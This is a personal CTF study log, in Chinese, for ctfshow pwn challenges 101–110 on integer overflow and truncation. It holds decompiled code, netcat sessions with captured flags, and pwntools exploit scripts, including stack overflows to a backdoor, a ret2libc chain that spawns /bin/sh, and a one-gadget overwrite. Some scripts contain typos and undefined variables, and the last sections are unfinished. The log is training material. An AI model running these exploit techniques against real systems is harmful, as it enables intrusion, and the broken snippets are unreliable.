ctfshow-做题笔记-整数安全
1 2 3 4 5 6 7 8 9 10 11 整数溢出原理整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1 ,负数为0 , 无符号数取值范围为非负数,常见各类型占用字节数如下: 类型 占用字节数 取值范围 Int 4 -2147483648 ~2147483647 32 位 Short int 2 -32768 ~32767 Long int 4 -2147483648 ~2147483647 Unsigned int 4 0 ~4294967295 Unsigned short int 2 0 ~65535 Unsigned short int 4 0 ~4294967295 对于unsigned short int 类型的两个变量var1、var2假定取值var1 = 1 ,var2 = 65537
pwn-101 2024.10.14
日常检查一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 llq@llq-virtual-machine:~$ checksec pwn [*] '/home/llq/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No llq@llq-virtual-machine:~$ chmod +x pwn llq@llq-virtual-machine:~$ ./pwn ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██ ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██ ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀ ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██ ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀ ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Integer_Overflow * Site : https://ctf.show/ * Hint : Learn something first ! * ************************************* Maybe these help you: ==================================================================================================== Type | Byte | Range ==================================================================================================== short int | 2 byte | 0~0x7fff 0x8000~0xffff unsigned short int | 2 byte | 0~0xffff int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff unsigned int | 4 byte | 0~0xffffffff long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff unsigned long int | 8 byte | 0~0xffffffffffffffff ==================================================================================================== Enter two integers:
丢进ida里面看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int __fastcall main (int argc, const char **argv, const char **envp) { unsigned int v4; unsigned int v5; unsigned __int64 v6; v6 = __readfsqword(0x28u ); init (argc, argv, envp); logo (); puts ("Maybe these help you:" ); useful (); v4 = 0x80000000 ; v5 = 0x7FFFFFFF ; printf ("Enter two integers: " ); if ( __isoc99_scanf("%d %d" , &v4, &v5) == 2 ) { if ( v4 == 0x80000000 && v5 == 0x7FFFFFFF ) gift (); else printf ("upover = %d, downover = %d\n" , v4, v5); return 0 ; } else { puts ("Error: Invalid input. Please enter two integers." ); return 1 ; } } int gift () { puts ("This is the first question of this type" ); puts ("Here is you want:" ); return system ("cat /ctfshow_flag" ); }
这里只要执行到gift函数就行了
问了一手gpt
就可以了
这里我直接没有写脚本
直接nc就完了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 llq@llq-virtual-machine:~$ nc pwn.challenge.ctf.show 28106 ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██ ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██ ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀ ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██ ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀ ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Integer_Overflow * Site : https://ctf.show/ * Hint : Learn something first ! * ************************************* Maybe these help you: ==================================================================================================== Type | Byte | Range ==================================================================================================== short int | 2 byte | 0~0x7fff 0x8000~0xffff unsigned short int | 2 byte | 0~0xffff int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff unsigned int | 4 byte | 0~0xffffffff long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff unsigned long int | 8 byte | 0~0xffffffffffffffff ==================================================================================================== Enter two integers: -2147483648 2147483647 This is the first question of this type Here is you want: ctfshow{f360e2b2-dc8e-456d-b16b-20c17836b2de}
pwn-102 2024.10.14
日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 llq@llq-virtual-machine:~$ checksec pwn [*] '/home/llq/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No llq@llq-virtual-machine:~$ chmod +x pwn llq@llq-virtual-machine:~$ ./pwn ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██ ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██ ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀ ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██ ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀ ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Integer_Overflow * Site : https://ctf.show/ * Hint : Learn something first ! * ************************************* Maybe these help you: ==================================================================================================== Type | Byte | Range ==================================================================================================== short int | 2 byte | 0~0x7fff 0x8000~0xffff unsigned short int | 2 byte | 0~0xffff int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff unsigned int | 4 byte | 0~0xffffffff long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff unsigned long int | 8 byte | 0~0xffffffffffffffff ==================================================================================================== Enter an unsigned integer :
丢进ida里面看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __fastcall main (int argc, const char **argv, const char **envp) { unsigned int v4; unsigned __int64 v5; v5 = __readfsqword(0x28u ); init (argc, argv, envp); logo (); puts ("Maybe these help you:" ); useful (); v4 = 0 ; printf ("Enter an unsigned integer: " ); __isoc99_scanf("%u" , &v4); if ( v4 == -1 ) gift (); else printf ("Number = %u\n" , v4); return 0 ; }
一个思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 llq@llq-virtual-machine:~$ nc pwn.challenge.ctf.show 28252 ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██ ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██ ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀ ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██ ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀ ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Integer_Overflow * Site : https://ctf.show/ * Hint : Learn something first ! * ************************************* Maybe these help you: ==================================================================================================== Type | Byte | Range ==================================================================================================== short int | 2 byte | 0~0x7fff 0x8000~0xffff unsigned short int | 2 byte | 0~0xffff int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff unsigned int | 4 byte | 0~0xffffffff long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff unsigned long int | 8 byte | 0~0xffffffffffffffff ==================================================================================================== Enter an unsigned integer: -1 This is the second question of this type Here is you want: ctfshow{6b24618f-2c28-49bc-ab1d-683d46258053} ^C llq@llq-virtual-machine:~$
没啥说的
pwn-103 2024.10.14
日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 llq@llq-virtual-machine:~$ checksec pwn [*] '/home/llq/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No llq@llq-virtual-machine:~$ chmod +x pwn llq@llq-virtual-machine:~$ ./pwn ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██ ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██ ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀ ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██ ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀ ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Integer_Overflow * Site : https://ctf.show/ * Hint : Learn something first ! * ************************************* Maybe these help you: ==================================================================================================== Type | Byte | Range ==================================================================================================== short int | 2 byte | 0~0x7fff 0x8000~0xffff unsigned short int | 2 byte | 0~0xffff int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff unsigned int | 4 byte | 0~0xffffffff long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff unsigned long int | 8 byte | 0~0xffffffffffffffff ==================================================================================================== Enter the length of data (up to 80):
丢进ida里面看看
看一下主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 unsigned __int64 ctfshow () { int v1; void *src; char dest[88 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); v1 = 0 ; src = 0LL ; printf ("Enter the length of data (up to 80): " ); __isoc99_scanf("%d" , &v1); if ( v1 <= 80 ) { printf ("Enter the data: " ); __isoc99_scanf(" %[^\n]" , dest); memcpy (dest, src, v1); if ( dest > 0x1BF52 ) gift (); } else { puts ("Invalid input! No cookie for you!" ); } return __readfsqword(0x28u ) ^ v4; }
1 void *memcpy (void *dest, const void *src, size_t n) ;
**dest
**:目标内存地址(目的地),将数据复制到此位置。
**src
**:源内存地址(数据来源),数据从这里复制。
**n
**:需要复制的字节数
满足条件则执行gift函数
我们看一下src在栈上的位置
1 2 3 -000000000000006C v1 dd ? -0000000000000068 src dq ? ; offset -0000000000000060 dest
意思是让v1输入的时候利用整数溢出覆盖src吗??
我先ida动调一手看一下
啊?没太看出啥!!动调不起来
问了一手gpt
难怪调不起来,这里
看了一手wp说是chuan入两个0就行了
ok,GPT解释一手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 llq@llq-virtual-machine:~$ nc pwn.challenge.ctf.show 28293 ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██ ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██ ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀ ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██ ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀ ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Integer_Overflow * Site : https://ctf.show/ * Hint : Learn something first ! * ************************************* Maybe these help you: ==================================================================================================== Type | Byte | Range ==================================================================================================== short int | 2 byte | 0~0x7fff 0x8000~0xffff unsigned short int | 2 byte | 0~0xffff int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff unsigned int | 4 byte | 0~0xffffffff long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff unsigned long int | 8 byte | 0~0xffffffffffffffff ==================================================================================================== Enter the length of data (up to 80): 0 Enter the data: 0 This is the third question of this type Here is you want: ctfshow{29296e7d-6db8-4c69-be6b-2d18ee5351c3} ^C llq@llq-virtual-machine:~$
pwn-104 2024.10.14
日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 llq@llq-virtual-machine:~$ checksec pwn [*] '/home/llq/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No llq@llq-virtual-machine:~$ chmod +x pwn llq@llq-virtual-machine:~$ ./pwn ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██ ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██ ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀ ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██ ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀ ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Integer_Overflow * Site : https://ctf.show/ * Hint : First this way, then that ! * ************************************* How long are you? -1 Who are you? aa llq@llq-virtual-machine:~$
ida里面看看
1 2 3 4 5 6 7 8 9 10 11 ssize_t ctfshow () { char buf[10 ]; size_t nbytes; LODWORD (nbytes) = 0 ; puts ("How long are you?" ); __isoc99_scanf("%d" , &nbytes); puts ("Who are you?" ); return read (0 , buf, nbytes); }
emm应该是一个整数溢出+一个后门
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p=remote('pwn.challenge.ctf.show' ,28152 ) p.sendlineafter('How long are you?' ,b'255' ) payload=b'a' *(0xe +8 )+p64(0x00000000040078D ) p.sendlineafter('Who are you?' ,payload) p.interactive()
看完其实也不是
就是前面规定一下最大长度
就可以了
1 >ssize_t read (int fd, void *buf, size_t count) ;
**fd
**:文件描述符,标识要读取的文件或输入流。
**buf
**:指向一个缓冲区的指针,用于存储读取的数据。
**count
**:要读取的最大字节数。
pwn-105 2024.10.14
日常检查
1 2 3 4 5 6 7 8 llq@llq-virtual-machine:~$ checksec pwn [*] '/home/llq/pwn' Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 ) Stripped: No
日常检查一下
看一下主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[1024 ]; int *p_argc; p_argc = &argc; init (); logo (); puts ("[+] Check your permissions:" ); read (0 , buf, 0x400u ); ctfshow (buf); puts ("wtf" ); return 0 ; }
看着就是日常的后门唉
但是看着buf的长度不太够
1 2 3 4 0000000000000408 -0000000000000408 buf db ? -0000000000000407 db ? ; undefined -0000000000000406 db ? ; undefined
仔细点开看一下
其实还有个ctfshow函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 char *__cdecl ctfshow (char *s) { char dest[8 ]; unsigned __int8 v3; v3 = strlen (s); if ( v3 <= 3u || v3 > 8u ) { puts ("Authentication failed!" ); exit (-1 ); } printf ("Authentication successful, Hello %s" , s); return strcpy (dest, s); }
这里有个dest,用这的栈进行溢出
关键函数:
1 2 3 unsigned __int8 v3; v3 = strlen (s);
整数截断漏洞(Integer Truncation Vulnerability):
strlen
的返回值是 **size_t
**,它在 32 位系统中是 4 字节,在 64 位系统中是 8 字节。
然而,v3
是 **unsigned __int8
**,只能存储 0~255 范围内的值。
如果字符串长度超过 255,返回的值会发生截断,只保留最低 8 位。
例如:如果字符串长度为 300 ,存储在 v3
中的结果会是 300 % 256 = 44
。
这里要绕过一下这个if语句,然后让V3等于4就行了
256+4=260(0x104)
所以
payload=b’a’*(0x11+4)+p32(backdoor)
payload+= payload.ljust(0x104,’a’)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *p=remote('pwn.challenge.ctf.show' ,28195 ) elf=ELF('./pwn' ) backdoor=0x804870F payload=b'a' *(0x11 +4 )+p32(backdoor) payload= payload.ljust(0x104 ,b'a' ) p.sendlineafter('permissions:\n' ,payload) p.interactive()
这里说一下我的踩坑点
后门函数地址有一个栈对齐的问题,可以自己找,也可以直接用elf函数调用。
pwn-106 日常检查
1 2 3 4 5 6 7 8 9 llq@llq-virtual-machine:~$ checksec pwn [*] '/home/llq/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No llq@llq-virtual-machine:~$
就正常的保护
ida打开看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; int v6; int *p_argc; p_argc = &argc; init (); logo (); puts ("1.login" ); puts ("2.quit" ); printf ("Your choice:" ); __isoc99_scanf("%d" , &v6, v4, v5); if ( v6 == 1 ) { login (p_argc); } else { if ( v6 == 2 ) { puts ("Bye~" ); exit (0 ); } puts ("Invalid Choice!" ); } return 0 ; }
怎么说呢?看一下还是有后门的。
考点感觉跟上面那道题一样,就加了几个绕过吗???
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *p=remote('pwn.challenge.ctf.show' ,28266 ) elf=ELF('./pwn' ) backdoor=elf.sym['fffflag' ] payload=b'a' *(0x14 +4 )+p32(backdoor) payload= payload.ljust(0x104 ,b'a' ) p.sendlineafter('Your choice:' ,b'1' ) p.sendlineafter('Please input your username:' ,b'yt' ) p.recvuntil('Please input your passwd:' ) p.sendline(payload) p.interactive()
pwn-107 日常检查
1 2 3 4 5 6 7 8 9 llq@llq-virtual-machine:~$ checksec pwn [*] '/home/llq/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No llq@llq-virtual-machine:~$
丢进ida里面看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int show () { char nptr[32 ]; int v2; printf ("How many bytes do you want me to read? " ); getch (nptr, 4u ); v2 = atoi (nptr); if ( v2 > 32 ) return printf ("No! That size (%d) is too large!\n" , v2); printf ("Ok, sounds good. Give me %u bytes of data!\n" , v2); getch (nptr, v2); return printf ("You said: %s\n" , nptr); }
这里不知道这个getch函数是干啥的,so查了一手,我的理解是可以理解为read函数
输入的nptr为buf,而后面的v2则是我们通过整数溢出进行泄露libc基址的条件
1 2 3 llq@llq-virtual-machine:~$ ./pwn How many bytes do you want me to read ? -1 Ok, sounds good. Give me 4294967295 bytes of data!
接下了就是我最喜欢的套板子了!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *p=process('./pwn' ) elf=ELF('./pwn' ) printf_got=elf.sym['printf' ] printf_plt=elf.sym['printf' ] main_addr=0x804852F payload = b"A" *(0x2c +4 )+ p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendlineafter('How many bytes do you want me to read? ' ,b'-1' ) p.recvuntil('bytes of data!\n' ) p.sendline(payload) printf_addr = u32(p.recvuntil("\xf7" )[-4 :]) p.recv() p.interactive()
狗屎,本地打不通不到是为什么??
想起之前一个师傅说的本地的地址随机化没关
但是最后用LibcSearcher找的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context.log_level ="debug" context.arch = 'i386' context.os='linux' from LibcSearcher import *p=remote('pwn.challenge.ctf.show' ,28244 ) elf=ELF('./pwn' ) printf_got=elf.got['printf' ] printf_plt=elf.plt['printf' ] main_addr=elf.sym['main' ] payload = b"A" *(0x2c +4 )+ p32(printf_plt) + p32(main_addr) + p32(printf_got) p.sendlineafter('How many bytes do you want me to read? ' ,b'-1' ) p.recvuntil('bytes of data!\n' ) p.sendline(payload) printf_addr = u32(p.recvuntil("\xf7" )[-4 :]) print (hex (printf_addr))libc = LibcSearcher("printf" ,printf_addr) libc_base = printf_addr - libc.dump("printf" ) system_addr = libc_base+libc.dump("system" ) bin_sh = libc_base+libc.dump("str_bin_sh" ) ''' libc_base = printf_addr - libc.sym["printf"] print(hex(libc_base)) system_addr = libc_base+libc.sym["system"] bin_sh = libc_base+libc.search(b"/bin/sh\x00").__next__() ''' p.sendlineafter('How many bytes do you want me to read? ' ,b'-1' ) p.recvuntil('\n' ) payload =b'A' *(0x2c +4 )+p32(system_addr)+p32(main_addr)+p32(bin_sh) p.sendline(payload) p.interactive()
pwn-108 2024.10.15
日常检查一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 llq@llq-virtual-machine:~$ checksec pwn [*] '/home/llq/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled llq@llq-virtual-machine:~$ chmod +x pwn llq@llq-virtual-machine:~$ ./pwn _____ _ _ _ _____ / ____| | | | (_) / ____| | (___ | |__ ___ ___ | |_ _ _ __ __ _ | | __ __ _ _ __ ___ ___ ___ \___ \| '_ \ / _ \ / _ \| __| | ' _ \ / _` | | | |_ |/ _` | '_ ` _ \ / _ \/ __| ____) | | | | (_) | (_) | |_| | | | | (_| | | |__| | (_| | | | | | | __/\__ \ |_____/|_| |_|\___/ \___/ \__|_|_| |_|\__, | \_____|\__,_|_| |_| |_|\___||___/ __/ | |___/ Free shooting games! Three bullets available! I placed the target near: 0x7ffff7c80e50 shoot!shoot! ok biang! ok biang!
全开不到是干啥的
丢进ida里面看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { int i; int j; __int64 v6; char v7[3 ]; unsigned __int64 v8; v8 = __readfsqword(0x28u ); sub_9BA (a1, a2, a3); sub_A55 (); puts ("Free shooting games! Three bullets available!" ); printf ("I placed the target near: %p\n" , &puts); puts ("shoot!shoot!" ); v6 = sub_B78 (); for ( i = 0 ; i <= 2 ; ++i ) { puts ("biang!" ); read (0 , &v7[i], 1uLL ); getchar (); } if ( sub_BC2 (v7) ) { for ( j = 0 ; j <= 2 ; ++j ) *(j + v6) = v7[j]; } if ( !dlopen (0LL , 1 ) ) exit (1 ); puts ("bye~" ); return 0LL ; }
这里我先看了一下这个泄露puts的真实地址,也就是知道了基址
1 2 3 4 5 6 7 from pwn import *p=process('./pwn' ) p.recvuntil('0x' ) puts_addr= int (p.recv(12 ),16 ) print (hex (puts_addr))
但是canary是开着的,打不了常规的ret2libc
瞅一眼wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 om pwn import * context(arch='amd64' ,os='linux' ,log_level='debug' ) io = remote('pwn.challenge.ctf.show' ,28307 ) elf = ELF('./pwn' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) io.recvuntil('0x' ) puts_addr = int (io.recv(12 ),16 ) libc_base = puts_addr - libc.sym['puts' ] strlen = libc_base + 0x3eb0a8 sss = str (strlen) io.sendline(sss) one_gadget = libc_base + 0xe54fe for _ in range (3 ): io.sendlineafter("biang!\n" , chr (one_gadget & 0xff )) one_gadget = one_gadget >> 8 io.interactive()
先放着!
pwn-109 日常检查
1 2 3 4 5 6 7 8 9 10 llq@llq-virtual-machine:~$ checksec pwn [*] '/home/llq/pwn' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments llq@llq-virtual-machine:~$
ida里面看看
1 2 3 4 5 ssize_t __cdecl sub_8A4 (void *buf, size_t nbytes) { printf ("%x\n" , buf); return read (0 , buf, nbytes); }
感觉就是libc泄露,NX是关的不知道能不能写shellcode
1 2 3 4 5 6 7 8 9 10 from pwn import *p=process('./pwn' ) p.sendlineafter('Quit!!!\n' ,b'1' ) p.recvuntil('\n' ) puts_addr= int (io.recv(12 ),16 ) pirnt(hex (puts_addr))
pwn-110